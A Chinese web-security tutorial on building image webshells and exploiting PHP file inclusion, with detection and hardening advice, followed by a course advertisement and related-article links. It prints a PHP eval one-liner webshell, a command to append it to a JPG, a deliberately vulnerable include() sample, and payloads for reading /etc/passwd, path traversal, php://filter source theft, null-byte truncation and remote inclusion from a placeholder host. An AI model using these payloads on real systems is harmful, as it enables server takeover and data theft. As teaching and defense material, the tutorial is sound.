图片马原理 + 文件包含漏洞详解

实战技巧:如何用CMD命令5分钟制作高效图片马(附Upload-Labs靶场测试) 本文详细解析了如何利用CMD命令快速制作图片马,以绕过Web应用的白名单过滤机制。通过实战演示在Upload-Labs靶场中测试文件上传漏洞,深入探讨了图片马执行原理、多种制作方法(包括CMD拼接、十六进制编辑)及对应的防御策略,帮助安全人员与开发者理解并防范此类攻击。 阅读详情

图片马原理 + 文件包含漏洞详解

前言

图片马和文件包含经常成对出现,也是 Web 安全入门的经典组合。很多人听说过图片马,误以为上传图片就能拿到 shell。本文讲清楚图片马的制作原理、文件包含漏洞分类、漏洞利用方式,同时讲解蓝队检测和防御方案,适合 Web 安全学习、护网应急排查。

⚠️【法律声明】本文仅用于企业授权环境下安全自查与网络安全学习,禁止在未授权网站、服务器上制作、上传图片马,利用文件包含漏洞进行探测与代码执行。未经授权访问、入侵计算机系统属于违法犯罪行为,请遵守《网络安全法》《刑法》相关规定。


一、什么是图片马

图片马,全称图片型 Web 后门。本质就是把一句话木马嵌入到正常图片文件中,文件后缀为 jpg/png/gif,从外观上看就是一张图片。

重点误区:单独上传图片马并直接访问图片,不会执行 PHP 代码!
服务器识别后缀是 jpg,只会输出图片内容,不会交给 PHP 引擎解析。图片马必须配合文件包含漏洞才能触发后门代码。

1.1 图片马制作原理

有两种常用制作方式。

方式 1:CMD 命令拼接(Windows)

准备一张正常图片 test.jpg 和一句话木马 shell.php

copy test.jpg /b + shell.php /b shell.jpg
  • /b 代表二进制模式合并文件
  • 前面是图片二进制数据,后面追加 PHP 一句话代码
  • 打开图片可以正常预览;用记事本打开图片,拉到文件末尾就能看到我们写入的 PHP 代码。
方式 2:直接在图片注释中写入代码

使用图片编辑工具或者十六进制编辑器,在图片文件的注释段写入 PHP 一句话,不会破坏图片显示效果。

示例嵌入代码:

<?php @eval($_POST['cmd']);?>

二、什么是文件包含漏洞

文件包含是 PHP 等动态脚本语言自带的功能。网站代码中使用include()、include_once()、require()、require_once()函数,目的是引入外部文件,复用代码。

文件包含漏洞产生的根本原因:
后端代码直接使用前端可控参数,拼接进文件包含函数,没有做严格过滤,攻击者可以控制包含的文件路径。

示例存在漏洞的 PHP 代码(漏洞源码)

<?php
$file = $_GET['file'];
include($file);
?>

用户 GET 传入file参数,代码直接把传入的路径丢进 include 函数,加载对应文件。

2.1 文件包含两类:本地包含 LFI 和远程包含 RFI

  1. 本地文件包含 LFI(Local File Inclusion)
    只能读取服务器本地磁盘上的文件,不能加载外网文件。现在最常见。
    Payload 示例:
?file=shell.jpg

当访问这个链接,PHP 会把 shell.jpg 当做 PHP 脚本解析,图片末尾的一句话木马就执行了,蚁剑可以直接连接。

  1. 远程文件包含 RFI(Remote File Inclusion)
    php.ini中allow_url_include=On开启时,可以直接包含远程服务器上的文件。
    Payload 示例:
?file=http://xxx.com/shell.txt

目前绝大多数服务器默认关闭 allow_url_include,RFI 漏洞现在很少见,护网里基本都是 LFI 本地文件包含。

三、图片马 + 文件包含完整攻击流程

  1. 攻击者上传图片马 shell.jpg,上传功能仅校验文件头、后缀,成功上传到网站上传目录;
  2. 找到存在文件包含漏洞的页面;
  3. 构造 URL,传入图片马路径:http://target.com/include.php?file=upload/shell.jpg
  4. include()函数加载 shell.jpg,虽然后缀是 jpg,但 PHP 引擎直接解析文件里面的 PHP 代码;
  5. 嵌入在图片末尾的一句话木马执行,攻击者使用蚁剑连接,拿下网站权限。

四、文件包含常见 Payload 拓展

4.1 读取服务器敏感文件(Linux)

?file=/etc/passwd

读取用户账号信息。

4.2 Windows 系统读取文件

?file=C:\windows\system32\drivers\etc\hosts

4.3 路径穿越(目录遍历)

使用../向上跳目录,跨目录读取文件。

?file=../../etc/passwd

很多网站会简单过滤../,红队经常使用编码绕过,例如..%2F。

五、常见绕过过滤手段

  1. 后缀截断(老版本 PHP)
    使用%00空字符截断,?file=shell.jpg%00.php,PHP 5.2 及以下有效,高版本已经修复。
  2. 添加特殊后缀
    部分代码会自动追加.php后缀,使用?file=shell.jpg/,利用路径特性绕过。
  3. 伪协议利用(php://filter)
    文件包含最经典利用方式,读取源码,不需要执行后门。
?file=php://filter/read=convert.base64-encode/resource=index.php

作用:读取 index.php 源码并 base64 编码输出,拿到网站源代码,审计更多漏洞。

php://filter 是护网、渗透中文件包含的高频利用手法。

六、蓝队如何检测图片马

  1. 静态检索
    批量扫描上传目录下 jpg/png 文件,检索文件末尾是否存在<?php、eval、assert 等关键字。
  2. 文件头校验
    检查图片文件的文件头(FFD8FF 是 JPG,89504E47 是 PNG),判断是否为真图片;
  3. Web 日志审计
    寻找访问 include 类页面,GET 参数携带file=、php://filter、../的异常请求;
  4. 流量审计
    jpg/png 图片文件出现 POST 请求,大概率图片马被文件包含调用,属于高危行为。

七、防御方案

7.1 代码层面修复文件包含漏洞

  • 不要直接使用用户可控参数拼接进 include/require 函数;
  • 使用白名单:只允许包含指定的几个文件,拒绝任意文件路径;
  • 过滤../、\、伪协议关键字 php://、file://;

7.2 文件上传防御(阻止图片马上传)

  1. 严格校验文件后缀,限制上传类型;
  2. 校验文件头,不能仅靠后缀判断文件类型;
  3. 上传目录禁止 PHP 脚本解析(最重要!)
    上传文件夹配置 Nginx/Apache,禁止解析 php。就算上传图片马,也无法通过文件包含执行代码;
  4. 上传文件随机重命名,分离上传目录和业务代码目录;

7.3 服务器配置加固

  1. php.ini 关闭allow_url_include,杜绝远程文件包含 RFI;
  2. 开启 WAF,拦截 php://filter、路径穿越等特征 payload;
  3. 限制 PHP 的 open_basedir,限定 PHP 能够访问的目录范围,防止跨目录读取敏感文件。

八、容易混淆知识点总结

  1. 图片马本身不能执行,必须文件包含漏洞作为触发条件;
  2. 文件包含不仅可以执行图片马,还能读取网站源码、服务器系统文件;
  3. php://filter 属于文件包含的读取利用,不直接执行代码,常用于源码审计;
  4. LFI 本地文件包含现在很常见,RFI 远程文件包含现在极少。

九、总结

图片马只是载体,文件包含漏洞才是真正的触发开关。
很多 Web 上传漏洞看起来危害不大,但一旦搭配文件包含,就能直接拿下服务器权限,这也是护网行动中经常出现的攻击组合。
蓝队防御的核心思路:上传目录禁止脚本解析,从根源上断绝图片马执行的可能性,同时代码层禁止用户可控参数直接传入文件包含函数。

【免责声明】本文仅用于网络安全学习、企业授权环境安全自查。任何未经授权制作图片马、利用文件包含漏洞读取文件、执行代码、入侵计算机系统,均触犯相关法律法规,作者不承担任何非法使用带来的法律责任。


最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

img

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
在这里插入图片描述

网络安全工程师企业级学习路线

在这里插入图片描述

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

在这里插入图片描述

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

SQL注入与文件上传漏洞:从原理到实战的Web安全攻防指南 在Web应用开发中,数据库交互和文件处理是两大核心功能,也常成为安全攻击的入口。SQL注入攻击利用了应用程序将用户输入直接拼接至数据库查询语句的缺陷,使得攻击者能够执行非授权的SQL命令,从而窃取、篡改或删除数据。其技术原理在于未对用户输入进行充分的过滤、转义或使用预编译语句,导致数据与代码边界模糊。这种漏洞的防御价值极高,因为一旦被利用,可能导致严重的数据泄露和业务中断。文件上传漏洞则源于服务器对用户上传文件缺乏严格的验证,攻击者可上传恶意脚本(如Webshell)获取服务器控制权。在实际应用场景中,这两 阅读详情

相关推荐

保姆级教程:手把手带你复现APFNet论文的RGBT目标跟踪模型(附完整代码与数据集配置)

本文提供了一份详细的APFNet论文复现指南,涵盖从环境搭建到模型测试的全流程。通过解析多模态融合模块和渐进式训练流程,帮助读者高效完成RGBT目标跟踪模型的复现工作,特别针对训练和测试中的常见问题提供实用解决方案。

weixin_29056781的博客 345

做一个图片马(图片木马)的四种方法 小白也能看会(详细步骤 ) 需要.htaccess等执行图片内代码_图片马制作

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

韩束一叶子 3560

【软件逆向】带壳带反调试找flag教程(VMProtect3.0+X64dbg+ScyllaHide)

【软件逆向】带壳带反调试找flag教程(VMProtect 3.0+X64dbg+ScyllaHide)

zhangjiuding的博客 7516

文件上传之图片马混淆绕过与条件竞争

文件上传之图片马混淆绕过与条件竞争

1567

用Multisim仿真AD630锁定放大器:从2012年电赛A题实战到避坑指南

本文详细介绍了如何使用Multisim仿真AD630锁定放大器,从2012年电赛A题实战出发,提供完整的电路搭建、参数优化及避坑指南。重点解析AD630的开关调制架构和双相位检测的工程实现,帮助读者在强噪声背景下有效提取微弱信号,提升电子设计竞赛和工程实践中的信号处理能力。

weixin_42549451的博客 203

133.在 Vue3 中使用 OpenLayers 实现画多边形、任意编辑、遮罩与剪切处理功能

《Vue3+OpenLayers实现多边形绘制与区域处理》摘要:本文介绍如何基于Vue3+OpenLayers+ol-ext实现地图多边形交互功能。核心功能包括:鼠标绘制任意多边形、拖动顶点编辑边界、遮罩显示(非选区变红)、选区剪切显示及功能重置。技术方案采用OpenLayers处理地图渲染,ol-ext实现高级遮罩/剪切效果,ElementPlus提供UI控件。该方案适用于城市规划、园区展示等需要区域标记的场景,完整代码展示了从初始化、绘制、编辑到特效处理的全流程实现。

小彭的博客 964

做一个图片马(图片木马)的四种方法 小白也能看会(详细步骤 ) 需要.htaccess等执行图片内代码

图片马:就是在图片中隐藏一句话木马。利用.htaccess等。

qq_48368964的博客 3万+

国科大学习资料--高级软件工程-复习题概念解释答案

国科大学习资料–高级软件工程(罗铁坚 魏峻 刘丹)-复习题概念解释答案 1. 敏捷开发方法与Scrum方法 a.敏捷是一种强调轻量的过程方法论,它强调拥抱变化而不是与之对抗,通过有效的沟通发挥群体的智慧。敏捷方法采用迭代/增量开发的过程模型。敏捷宣言是:个体和交互高于流程和工具;工作的软件高于详尽的文档;客户合作高于合同谈判;响应变化高于遵循计划。 虽然右边的也有价值,但是认为左边的更有价值。 b.Scrum(Schwaber和Beedle)是管理两个披萨规模(4-9人)的软件开发团队的方法,它高频率的短会

无名何许人的博客 1444

关于图片马的正确用法

有图片,有木马,然而菜刀连接不上,你绝望吗?不怕今天我会教大家的。 我们先看一下源码吧,过关方式也是叫我们上传图片马。。。 然后我还要说吗一下,图片马不是一张木马图片一个菜刀就可以了的。还需要一个漏洞,叫做文件包含漏洞。。。这个漏洞原理呢 一:准备图片马 需要用到DOS指令 Bash copy 001.jpeg/b + test.php/a 2.jpg 这个...

qq_42311391的博客 5万+

《用 R 探索医药数据科学》目录(持续更新,已超 250 万字)|订阅前说明

我们重磅推出《用 R 探索医药数据科学》专栏!本文作为专栏【订阅后首读】的核心内容,堪称开启学习之旅的 “入门钥匙”,也是整个专栏最关键的一篇指引文。文中不仅完整呈现了专栏 9 大核心篇章 + 问答板块的详细目录,更囊括了订阅后必知的核心要点 —— 从阅读设备、实操工具的使用建议,到学习路径、更新规则的清晰说明,再到问题反馈、感悟记录的实用方法,一站式帮你摸清专栏框架、找准学习方向。建议各位订阅者务必认真阅读、吃透内容,这能让你后续的学习更高效、少走弯!

MD Code 1万+

【施磊】C++课程笔记目录

【C++编程】施磊老师C++笔记目录

GeniusAng的博客 4126

Burpsuite与蚁剑实战:图片马上传与文件包含漏洞利用

本文详细解析了如何利用Burpsuite与蚁剑实战组合,通过制作图片马绕过upload-labs靶场Pass-14关卡的文件头检测,并结合文件包含漏洞激活后门,最终建立持久化控制。文章从攻击原理、环境搭建、漏洞利用到防御策略,提供了完整的渗透测试与安全防护视角。

java5的博客 989

机械式激光雷达实现原理以及特性总结

本文介绍了机械式激光雷达的技术原理和核心特性。该技术通过机械旋转结构实现360°三维扫描,采用飞行时间法测距并生成点云数据。核心优势包括全向扫描、长距高精度和成熟度高,但存在体积大、成本高、可靠性受限等局限。典型应用于自动驾驶测试车、测绘建模等领域。与固态激光雷达相比,机械式在视场角和探测距离方面有优势,但在体积、成本和可靠性方面处于劣势。该技术目前主要应用于对成本不敏感的专业场景。

start_up_go的博客 263

零基础玩转Upload-Labs:手把手教你用图片马+文件包含漏洞突破二次渲染

本文以Upload-Labs靶场为例,手把手教你突破文件上传漏洞的终极防护——二次渲染。文章系统性地讲解了从基础绕过(如JS前端检测)到高级组合技的实战路径,重点剖析了图片马的制作艺术与文件包含漏洞的联动利用,并提供了攻克Pass-13至Pass-17等深度检测关卡的具体方法与排错技巧。

jupi8的博客 542

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

upload-labs Pass-15:图片马与文件包含组合getshell详解

在Web安全领域,文件上传漏洞一直是渗透测试与防御演练中的核心考点。许多应用仅校验文件扩展名或MIME类型,却忽略文件实际内容,这种表面校验往往存在绕过空间。针对内容安全,服务端常使用getimagesize()等函数检测文件头(Magic Number)以判断是否为合法图片。然而,这种校验粒度只关注文件起始字节,并未验证整体结构,导致攻击者可将恶意脚本附加在真实图片后,形成“图片马”。图片马本身不会直接执行,必须借助文件包含漏洞(File Inclusion)等机制触发,最终实现WebShell植入与服务

weixin_29325515的博客 249

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

杂记13 文件包含

上传负责把"炸弹"运进去,包含负责把"炸弹"引爆。没有上传,恶意文件运不进来;没有包含,图片永远只是图片。判定看函数includerequire是"执行",readfile是"看"。一字之差,危害差一个量级。穿越看前缀不是背出来的,是"后端拼了uploads/,所以我要爬出去"推出来的。绕过看逻辑:双写变形之所以有效,是因为过滤器"只替换一次"。先想清楚服务端怎么处理,再决定写什么 Payload——这比背一百个字典都管用。

Simple_Pure的博客 599

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

万能密码与图片马:SQL注入和文件上传漏洞的实战与防御

Web安全领域中,SQL注入和文件上传漏洞一直是渗透测试的高频切入点。针对登录框的万能密码并非固定字符串,而是利用后端SQL语句拼接缺陷构造恒真逻辑,从而绕过身份认证;而图片马则通过将恶意代码藏入图片文件,配合文件包含或解析漏洞实现Webshell落地。理解这些攻击原理不仅是技术科普,更是工程实践中防御的基础。本文从SQL拼接逻辑、常用绕过Payload、图片马合成方式,到真实环境中的防御与日志审计,结合实战案例进行系统讲解。适用于安全测试人员、开发者和运维人员理解攻击链与加固方向。

weixin_42533120的博客 116

文件上传漏洞从入门到精通:解析各种绕过姿势

以为前端 JS 校验可以保障安全,不知道抓包绕过。✅安全校验必须全部放在后端。图片马上传成功,直接访问图片,疑惑为什么不执行 PHP。✅图片马需要搭配文件包含漏洞才可以执行 PHP 代码。滥用 0x00 截断,新版本 PHP 环境复现失败,不清楚 PHP 版本限制。黑名单万能论,以为过滤 php 后缀就安全,忽略大小写、双写、特殊后缀。混淆 MIME,认为 Content‑Type 是文件真实属性,不知道 HTTP 头攻击者可控。

wangluo12138的博客 254

数据与代码之战:SQL注入、万能密码与图片马实战解析

在Web安全体系中,数据与代码未分离是诸多漏洞的共同根源。SQL注入与文件上传作为两大经典入口,分别催生了“万能密码”与“图片马”两种极具代表性的攻击手法。万能密码通过构造恒真表达式或注释符截断,绕过登录校验,其本质是用户输入直接拼接进SQL语句,破坏了原有语法结构;图片马则将恶意脚本藏入合法图片文件,结合文件包含或解析漏洞实现执行,体现了上传校验与文件内容检查的对抗。理解这些技术不仅能用于CTF竞赛或授权渗透测试,更对防御层设计有直接指导意义——参数化查询、上传目录执行权限禁用、随机重命名等加固措施,均是

weixin_29325007的博客 290
上一篇: 一句话木马原理剖析,看懂 Web 后门怎么工作
下一篇: PHP 伪协议深度详解
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值